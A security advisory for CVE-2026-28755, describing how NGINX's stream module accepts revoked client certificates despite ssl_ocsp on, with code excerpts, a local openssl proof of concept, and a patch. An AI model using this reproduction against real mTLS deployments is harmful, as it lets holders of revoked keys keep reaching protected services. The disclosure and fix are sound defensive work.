← Findings
NGINX2026CVE-2026-28755

stream accepts revoked client certificates despite ssl_ocsp on (CVE-2026-28755)

Summary

NGINX stream module allows TLS handshake to succeed with revoked client certificates when ssl_ocsp on is configured

When a stream listener is configured with both ssl_verify_client on and ssl_ocsp on, nginx performs the OCSP request and learns that the presented client certificate is revoked, but it still completes the TLS handshake and allows the session to reach application data.

The root cause is a logic gap specific to stream: the OCSP helper records revocation state, but the stream verification path in ngx_stream_ssl_handler() checks only SSL_get_verify_result() and whether a certificate is present. It never calls ngx_ssl_ocsp_get_status(). The HTTP path does enforce the OCSP result — ngx_http_request.c explicitly calls ngx_ssl_ocsp_get_status() and rejects the request when the result is not good. The result is that OCSP executes, revocation is detected, but revocation is ignored in stream.

CVSS

VectorNComplexityLPrivilegesLUser interactionNScopeUConfidentialityLIntegrityLAvailabilityN

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Source → Sink

Source

src/stream/ngx_stream_ssl_module.c

Line 1123 · ngx_stream_ssl_merge_srv_conf (OCSP config hookup)

Sink

src/stream/ngx_stream_ssl_module.c

Line 461 · ngx_stream_ssl_handler() (missing ngx_ssl_ocsp_get_status call)

Attack surface

Any NGINX deployment using the stream module with TLS client authentication (ssl_verify_client on) and OCSP revocation checking (ssl_ocsp on).

Preconditions

The target uses the stream module with TLS client authentication enabled and ssl_ocsp on configured. The attacker still has the private key for a revoked client certificate. NGINX can reach an OCSP responder, either via ssl_ocsp_responder or certificate AIA.

Impact

This breaks revocation enforcement for stream mTLS services. A revoked client certificate remains usable until the certificate itself expires or the private key becomes unavailable to the attacker. Any internal TCP service fronted by NGINX stream and protected with client certificates can remain reachable after revocation. Deployments that rely on OCSP revocation checks to disable compromised or deprovisioned client certificates are effectively unprotected.

Exploit path

How the issue forms.

01src/stream/ngx_stream_ssl_module.c:1123-1133

The stream configuration path enables OCSP checks through ngx_ssl_ocsp() when ssl_ocsp on is set.

CPP
if (conf->ocsp) {

    if (conf->verify == 3) {
        ngx_log_error(NGX_LOG_EMERG, cf->log, 0,
                      "\"ssl_ocsp\" is incompatible with "
                      "\"ssl_verify_client optional_no_ca\"");
        return NGX_CONF_ERROR;
    }

    if (ngx_ssl_ocsp(cf, &conf->ssl, &conf->ocsp_responder, conf->ocsp,
                     conf->ocsp_cache_zone)
        != NGX_OK)
    {
        return NGX_CONF_ERROR;
    }
}
02src/event/ngx_event_openssl_stapling.c:883-1001

ngx_ssl_ocsp_validate() performs the OCSP transaction and asynchronous state machine. It correctly receives and parses the revoked OCSP response.

CPP
/* OCSP validation machinery - performs the OCSP request
 * and records revocation state */
03src/stream/ngx_stream_ssl_module.c:461-489

The stream verification path checks only SSL_get_verify_result() and certificate presence. It never calls ngx_ssl_ocsp_get_status(), so revocation state is ignored.

CPP
if (sscf->verify) {
    rc = SSL_get_verify_result(c->ssl->connection);

    if (rc != X509_V_OK
        && (sscf->verify != 3 || !ngx_ssl_verify_error_optional(rc)))
    {
        /* ... reject invalid cert ... */
        return NGX_ERROR;
    }

    if (sscf->verify == 1) {
        cert = SSL_get_peer_certificate(c->ssl->connection);

        if (cert == NULL) {
            /* ... reject missing cert ... */
            return NGX_ERROR;
        }

        X509_free(cert);
    }
    /* NO ngx_ssl_ocsp_get_status() call here */
}

return NGX_OK;
04src/http/ngx_http_request.c:2142-2150

For comparison, the HTTP path does enforce the OCSP result by calling ngx_ssl_ocsp_get_status() and rejecting the request when the result is not good.

CPP
if (ngx_ssl_ocsp_get_status(c, &s) != NGX_OK) {
    ngx_log_error(NGX_LOG_INFO, c->log, 0,
                  "client SSL certificate verify error: %s", s);

    ngx_ssl_remove_cached_session(c->ssl->session_ctx,
                               (SSL_get0_session(c->ssl->connection)));

    ngx_http_finalize_request(r, NGX_HTTPS_CERT_ERROR);
    return;
}

Proof of concept

Reproduction.

01

Environment

From the nginx source root, build nginx with stream and SSL support:

BASH
./auto/configure --with-debug --with-stream \
  --with-stream_ssl_module --with-http_ssl_module \
  --without-http_rewrite_module --without-http_gzip_module
make -j4
02

Configuration

The PoC creates a self-contained CA, server cert, client cert, OCSP responder cert, then revokes the client cert and starts an OCSP responder and nginx with this config:

NGINX
worker_processes  1;
error_log $WORKDIR/logs/error.log debug;

events {
    worker_connections  64;
}

stream {
    server {
        listen 127.0.0.1:18443 ssl;

        ssl_certificate $WORKDIR/server.crt;
        ssl_certificate_key $WORKDIR/server.key;

        ssl_client_certificate $WORKDIR/ca/ca.crt;
        ssl_verify_client on;
        ssl_verify_depth 2;

        ssl_ocsp on;
        ssl_ocsp_responder http://127.0.0.1:19080/;

        return "stream-ok\n";
    }
}
03

Delivery

After the CA and OCSP responder are set up and the client cert is revoked:

  1. Verify OCSP reports the certificate as revoked:
BASH
openssl ocsp \
  -issuer "$WORKDIR/ca/ca.crt" \
  -cert "$WORKDIR/client.crt" \
  -url http://127.0.0.1:19080/ \
  -CAfile "$WORKDIR/ca/ca.crt"
  1. Connect with the revoked certificate:
BASH
openssl s_client \
  -connect 127.0.0.1:18443 \
  -cert "$WORKDIR/client.crt" \
  -key "$WORKDIR/client.key" \
  -CAfile "$WORKDIR/ca/ca.crt" \
  -quiet < /dev/null
  1. Check nginx debug log:
BASH
grep -E 'ssl ocsp response|stream return text' \
  "$WORKDIR/logs/error.log"
04

Outcome

A revoked client certificate is accepted by the stream listener despite OCSP confirming revocation. The TLS handshake completes and application data (stream-ok) is returned to the attacker.

Remediation

The fix.

Mirror the HTTP behavior in stream. After the existing certificate-presence and SSL_get_verify_result() checks in ngx_stream_ssl_handler(), call ngx_ssl_ocsp_get_status() and reject the session if it does not return NGX_OK. This is the same enforcement that already exists in the HTTP path at ngx_http_request.c.

Before

TEXT
        if (sscf->verify == 1) {
            cert = SSL_get_peer_certificate(c->ssl->connection);

            if (cert == NULL) {
                ngx_log_error(NGX_LOG_INFO, c->log, 0,
                              "client sent no required SSL certificate");

                ngx_ssl_remove_cached_session(c->ssl->session_ctx,
                                       (SSL_get0_session(c->ssl->connection)));
                return NGX_ERROR;
            }

            X509_free(cert);
        }
    }

    return NGX_OK;
}

After

TEXT
        if (sscf->verify == 1) {
            cert = SSL_get_peer_certificate(c->ssl->connection);

            if (cert == NULL) {
                ngx_log_error(NGX_LOG_INFO, c->log, 0,
                              "client sent no required SSL certificate");

                ngx_ssl_remove_cached_session(c->ssl->session_ctx,
                                       (SSL_get0_session(c->ssl->connection)));
                return NGX_ERROR;
            }

            X509_free(cert);
        }

        if (ngx_ssl_ocsp_get_status(c, &str) != NGX_OK) {
            ngx_log_error(NGX_LOG_INFO, c->log, 0,
                          "client SSL certificate verify error: %s", str);

            ngx_ssl_remove_cached_session(c->ssl->session_ctx,
                                       (SSL_get0_session(c->ssl->connection)));
            return NGX_ERROR;
        }
    }

    return NGX_OK;
}

Continue

If this is the bar, see the product.

The archive is public. The product makes it repeatable.

View findings